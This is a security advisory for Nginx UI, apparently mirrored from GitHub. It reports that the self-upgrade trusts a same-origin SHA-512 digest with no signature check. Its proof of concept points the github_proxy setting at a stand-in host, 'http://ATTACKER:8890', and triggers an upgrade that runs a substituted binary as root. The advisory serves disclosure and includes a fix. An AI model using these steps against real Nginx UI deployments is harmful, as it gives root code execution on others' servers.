GHSA-662P-52HX-CMH2

Vulnerability from github – Published: 2026-10-09 17:08 – Updated: 2026-10-09 17:08
VLAI
Summary
Nginx UI: Self-upgrade runs an unsigned binary verified only by a same-origin digest → RCE via a compromised mirror or MITM
Details

Summary

The self-upgrade downloads the release binary and its checksum (*.tar.gz and *.tar.gz.digest) through the SAME endpoint (version.GetUrl(), which is github_proxy or, by default, the project's cloud.nginxui.com mirror), and verifies the binary ONLY by comparing it to that digest: digestFileContent == DigestSHA512(tarName). Both the binary and the digest come from the same origin, and there is NO cryptographic signature / public-key verification. The downloaded binary then replaces the running executable (selfupdate.CommitBinary) and the process restarts, so the binary runs as the nginx-ui user (typically root).

Because integrity rests only on a digest fetched from the same place as the binary, anyone who controls that download path can substitute a malicious binary plus a matching digest and obtain code execution as root on the next upgrade. Additionally, the github_proxy setting accepts http:// URLs, so the binary+digest can be fetched over cleartext.

Affected code

  • internal/version/url.go GetUrl(path) = <github_proxy or cloud.nginxui.com>/<path> — used for BOTH the binary and the digest.
  • internal/upgrader/upgrade.go DownloadLatestRelease: digest URL and binary URL are both wrapped with GetUrl(), fetched, and checked with digestFileContent == DigestSHA512(tarName). No signature verification anywhere in internal/upgrader/.
  • selfupdate.CommitBinary then replaces the running binary; the process restarts.
  • settings/http.go: GithubProxy accepts any URL (binding:"omitempty,url"), including http://.

Attack scenarios

A. Compromised mirror / CDN (primary). By default the binary+digest are routed through cloud.nginxui.com. If that mirror (or the GitHub release CDN) is compromised — or DNS/BGP is hijacked — it can serve a malicious binary + matching digest to EVERY instance that upgrades, yielding root RCE fleet-wide. No nginx-ui credentials are needed by the attacker (they control the mirror). A binary signature would prevent this. B. HTTP proxy + on-path MITM. Operators behind GitHub-restricted networks are the intended users of github_proxy; the field accepts http://, so the binary+digest are fetched in cleartext. An attacker on the network path (rogue gateway / ARP spoofing / malicious Wi-Fi / compromised router) substitutes a malicious binary + matching digest -> root RCE on the next upgrade. C. (mechanism demonstration) An authenticated user sets github_proxy to a server they control and triggers the upgrade. This is how the PoC below proves the mechanism; note that in nginx-ui (no role separation) such a user is admin-equivalent, so on its own this path is self-inflicted — it is included only to demonstrate that an unsigned attacker binary is accepted and executed.

Proof of Concept (live, official image uozi/nginx-ui:2.3.11) — mechanism

An attacker HTTP server serves any *.tar.gz -> a malicious tarball (whose nginx-ui is a script that writes a marker as whoever runs it) and any *.digest -> the SHA-512 of that tarball. 1. Set the download origin to the attacker server (here via github_proxy; in scenarios A/B this is instead a compromised mirror / MITM): POST /api/settings with http.github_proxy = http://ATTACKER:8890 -> 200. The field accepts the http URL. 2. Trigger the upgrade: WS GET /api/upgrade/perform, send {"channel":"stable"}. 3. Observed: - The attacker server received BOTH GET /https://github.com/.../nginx-ui-linux-64.tar.gz.digest and .../nginx-ui-linux-64.tar.gz (over cleartext http). - WS: "Downloading latest release" -> "Performing core upgrade" -> restart. The attacker tarball's digest matched (attacker supplied both) -> integrity check PASSED, no signature checked. - Inside the container: /tmp/UPGRADE_PWNED = UPGRADE_RCE_EXECUTED uid=0 -> the malicious binary replaced nginx-ui and EXECUTED AS ROOT.

Impact

Root code execution on upgrade. Realistically reached by compromising the trusted download source (mirror/CDN, scenario A — fleet-wide) or by MITM of a cleartext http proxy (scenario B). A cryptographic signature on the release binary would prevent all of these.

Honest scope / caveats

  • Live-verified: the integrity-bypass MECHANISM — an unsigned binary plus a same-origin digest is accepted and executed as root, and the binary+digest are fetched over cleartext http when an http proxy is configured. This was demonstrated via scenario C (attacker-controlled proxy).
  • NOT staged (threat-model assumptions, not PoC artifacts): actually compromising cloud.nginxui.com / the GitHub CDN (scenario A), and performing a real on-path MITM intercept (scenario B). These are standard attacker capabilities, marked here as analysis.
  • The upgrade is operator-triggered (UI:R). The default flow uses HTTPS to cloud.nginxui.com+GitHub plus the digest, so this is not "zero integrity" — the gap is the absence of a signature, which matters when the source is compromised or the transport is cleartext (http proxy).

Suggested fix

Verify the release binary against a cryptographic signature with a public key pinned in the nginx-ui binary (or a digest fetched over an independent, pinned channel), not a digest from the same origin as the binary. Reject http:// for github_proxy (require https). Consider treating github_proxy as a protected setting.

Dedup / novelty

Distinct from CVE-2026-42238 (unauthenticated backup-restore RCE) and CVE-2026-33026 (backup tampering); this is the self-UPGRADE binary path. No existing nginx-ui CVE/GHSA covers upgrade integrity (checked osv.dev and the GitHub advisory database). Appears novel.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/0xJacky/Nginx-UI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.9.10-0.20250517140552-daee3ac7ade1"
            },
            {
              "fixed": "1.9.10-0.20260728114330-580585516dd8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-107812"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-494"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-09T17:08:21Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\nThe self-upgrade downloads the release binary and its checksum (`*.tar.gz` and `*.tar.gz.digest`)\nthrough the SAME endpoint (`version.GetUrl()`, which is `github_proxy` or, by default, the project\u0027s\n`cloud.nginxui.com` mirror), and verifies the binary ONLY by comparing it to that digest:\n`digestFileContent == DigestSHA512(tarName)`. Both the binary and the digest come from the same\norigin, and there is NO cryptographic signature / public-key verification. The downloaded binary then\nreplaces the running executable (`selfupdate.CommitBinary`) and the process restarts, so the binary\nruns as the nginx-ui user (typically root).\n\nBecause integrity rests only on a digest fetched from the same place as the binary, anyone who\ncontrols that download path can substitute a malicious binary plus a matching digest and obtain code\nexecution as root on the next upgrade. Additionally, the `github_proxy` setting accepts `http://`\nURLs, so the binary+digest can be fetched over cleartext.\n\n## Affected code\n- `internal/version/url.go GetUrl(path)` = `\u003cgithub_proxy or cloud.nginxui.com\u003e/\u003cpath\u003e` \u2014 used for\n  BOTH the binary and the digest.\n- `internal/upgrader/upgrade.go DownloadLatestRelease`: digest URL and binary URL are both wrapped\n  with `GetUrl()`, fetched, and checked with `digestFileContent == DigestSHA512(tarName)`. No\n  signature verification anywhere in `internal/upgrader/`.\n- `selfupdate.CommitBinary` then replaces the running binary; the process restarts.\n- `settings/http.go`: `GithubProxy` accepts any URL (`binding:\"omitempty,url\"`), including `http://`.\n\n## Attack scenarios\nA. Compromised mirror / CDN (primary). By default the binary+digest are routed through\n   `cloud.nginxui.com`. If that mirror (or the GitHub release CDN) is compromised \u2014 or DNS/BGP is\n   hijacked \u2014 it can serve a malicious binary + matching digest to EVERY instance that upgrades,\n   yielding root RCE fleet-wide. No nginx-ui credentials are needed by the attacker (they control the\n   mirror). A binary signature would prevent this.\nB. HTTP proxy + on-path MITM. Operators behind GitHub-restricted networks are the intended users of\n   `github_proxy`; the field accepts `http://`, so the binary+digest are fetched in cleartext. An\n   attacker on the network path (rogue gateway / ARP spoofing / malicious Wi-Fi / compromised router)\n   substitutes a malicious binary + matching digest -\u003e root RCE on the next upgrade.\nC. (mechanism demonstration) An authenticated user sets `github_proxy` to a server they control and\n   triggers the upgrade. This is how the PoC below proves the mechanism; note that in nginx-ui (no\n   role separation) such a user is admin-equivalent, so on its own this path is self-inflicted \u2014 it\n   is included only to demonstrate that an unsigned attacker binary is accepted and executed.\n\n## Proof of Concept (live, official image uozi/nginx-ui:2.3.11) \u2014 mechanism\nAn attacker HTTP server serves any `*.tar.gz` -\u003e a malicious tarball (whose `nginx-ui` is a script\nthat writes a marker as whoever runs it) and any `*.digest` -\u003e the SHA-512 of that tarball.\n1. Set the download origin to the attacker server (here via `github_proxy`; in scenarios A/B this is\n   instead a compromised mirror / MITM): `POST /api/settings` with\n   `http.github_proxy = http://ATTACKER:8890` -\u003e 200. The field accepts the http URL.\n2. Trigger the upgrade: WS `GET /api/upgrade/perform`, send `{\"channel\":\"stable\"}`.\n3. Observed:\n   - The attacker server received BOTH\n     `GET /https://github.com/.../nginx-ui-linux-64.tar.gz.digest` and `.../nginx-ui-linux-64.tar.gz`\n     (over cleartext http).\n   - WS: \"Downloading latest release\" -\u003e \"Performing core upgrade\" -\u003e restart. The attacker tarball\u0027s\n     digest matched (attacker supplied both) -\u003e integrity check PASSED, no signature checked.\n   - Inside the container: `/tmp/UPGRADE_PWNED` = `UPGRADE_RCE_EXECUTED uid=0` -\u003e the malicious binary\n     replaced nginx-ui and EXECUTED AS ROOT.\n\n## Impact\nRoot code execution on upgrade. Realistically reached by compromising the trusted download source\n(mirror/CDN, scenario A \u2014 fleet-wide) or by MITM of a cleartext http proxy (scenario B). A\ncryptographic signature on the release binary would prevent all of these.\n\n## Honest scope / caveats\n- Live-verified: the integrity-bypass MECHANISM \u2014 an unsigned binary plus a same-origin digest is\n  accepted and executed as root, and the binary+digest are fetched over cleartext http when an http\n  proxy is configured. This was demonstrated via scenario C (attacker-controlled proxy).\n- NOT staged (threat-model assumptions, not PoC artifacts): actually compromising `cloud.nginxui.com`\n  / the GitHub CDN (scenario A), and performing a real on-path MITM intercept (scenario B). These are\n  standard attacker capabilities, marked here as analysis.\n- The upgrade is operator-triggered (UI:R). The default flow uses HTTPS to `cloud.nginxui.com`+GitHub\n  plus the digest, so this is not \"zero integrity\" \u2014 the gap is the absence of a signature, which\n  matters when the source is compromised or the transport is cleartext (http proxy).\n\n## Suggested fix\nVerify the release binary against a cryptographic signature with a public key pinned in the nginx-ui\nbinary (or a digest fetched over an independent, pinned channel), not a digest from the same origin\nas the binary. Reject `http://` for `github_proxy` (require https). Consider treating `github_proxy`\nas a protected setting.\n\n## Dedup / novelty\nDistinct from CVE-2026-42238 (unauthenticated backup-restore RCE) and CVE-2026-33026 (backup\ntampering); this is the self-UPGRADE binary path. No existing nginx-ui CVE/GHSA covers upgrade\nintegrity (checked osv.dev and the GitHub advisory database). Appears novel.",
  "id": "GHSA-662p-52hx-cmh2",
  "modified": "2026-10-09T17:08:21Z",
  "published": "2026-10-09T17:08:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-662p-52hx-cmh2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/commit/580585516dd87a8b176bcdac258db70c3b64b7ec"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/0xJacky/nginx-ui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/releases/tag/v2.5.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nginx UI: Self-upgrade runs an unsigned binary verified only by a same-origin digest \u2192 RCE via a compromised mirror or MITM"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…